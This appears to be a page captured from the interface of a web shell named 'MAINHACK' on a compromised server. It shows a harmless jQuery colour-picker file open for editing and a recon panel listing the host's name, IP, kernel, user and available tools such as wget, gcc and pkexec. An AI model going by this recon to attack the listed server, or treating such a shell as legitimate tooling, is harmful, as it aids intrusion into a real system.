[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: colorPick.js
/*! * * ColorPick jQuery plugin * https://github.com/philzet/ColorPick.js * * Copyright (c) 2017 Phil Zet (a.k.a. Philipp Zakharchenko) * Licensed under the MIT License * */ (function( $ ) { $.fn.colorPick = function(config) { return this.each(function() { new $.colorPick(this, config || {}); }); }; $.colorPick = function (element, options) { options = options || {}; this.options = $.extend({}, $.fn.colorPick.defaults, options); if(options.str) { this.options.str = $.extend({}, $.fn.colorpickr.defaults.str, options.str); } this.color = this.options.initialColor; this.element = $(element); return this.element.hasClass(this.options.pickrclass) ? this : this.init(); }; $.fn.colorPick.defaults = { // 'initialColor': '#3498db', 'allowCustomColor':false, 'allowRecent': false, 'recentMax': 5, 'palette': ["#1abc9c", "#16a085", "#2ecc71", "#27ae60", "#3498db", "#2980b9", "#9b59b6", "#8e44ad", "#34495e", "#2c3e50", "#f1c40f", "#f39c12", "#e67e22", "#d35400", "#e74c3c", "#c0392b", "#ecf0f1", "#bdc3c7", "#95a5a6", "#7f8c8d"], 'onColorSelected': function() { this.element.css({'backgroundColor': this.color, 'color': this.color}); } }; $.colorPick.prototype = { init : function(){ var self = this; var o = this.options; $.proxy($.fn.colorPick.defaults.onColorSelected, this)(); this.element.click(function(event) { event.preventDefault(); self.show(event.pageX - 150, event.pageY); $('.colorPickButton').click(function(event) { self.color = $(event.target).attr('hexValue'); self.appendToStorage($(event.target).attr('hexValue')); self.hide(); $.proxy(self.options.onColorSelected, self)(); return false; }); return false; }).blur(function() { self.element.val(self.color); $.proxy(self.options.onColorSelected, self)(); self.hide(); return false; }); $(document).click(function(event) { self.hide(); return true; }); return this; }, appendToStorage: function(color) { if ($.fn.colorPick.defaults.allowRecent === true) { var storedColors = JSON.parse(localStorage.getItem("colorPickRecentItems")); if (storedColors == null) { storedColors = []; } if ($.inArray(color, storedColors) == -1) { storedColors.unshift(color); storedColors = storedColors.slice(0, $.fn.colorPick.defaults.recentMax) localStorage.setItem("colorPickRecentItems", JSON.stringify(storedColors)); } } }, show: function(left, top) { if ($("#colorPick").is(":visible")) { return; } $("body").append('<div id="colorPick" style="display:none;top:' + top + 'px;left:' + left + 'px;z-index:999999;"><span>Color:</span></div>'); jQuery.each($.fn.colorPick.defaults.palette, (index, item) => { $("#colorPick").append('<div class="colorPickButton" hexValue="' + item + '" style="background:' + item + '"></div>'); }); if ($.fn.colorPick.defaults.allowRecent === true) { $("#colorPick").append('<span style="margin-top:5px">Recent:</span>'); if (JSON.parse(localStorage.getItem("colorPickRecentItems")) == null || JSON.parse(localStorage.getItem("colorPickRecentItems")) == []) { $("#colorPick").append('<div class="colorPickButton colorPickDummy"></div>'); } else { jQuery.each(JSON.parse(localStorage.getItem("colorPickRecentItems")), (index, item) => { $("#colorPick").append('<div class="colorPickButton" hexValue="' + item + '" style="background:' + item + '"></div>'); }); } } $("#colorPick").fadeIn(200); }, hide: function() { $( "#colorPick" ).fadeOut(200, function() { $("#colorPick").remove(); return this; }); }, }; }( jQuery ));
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.51 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002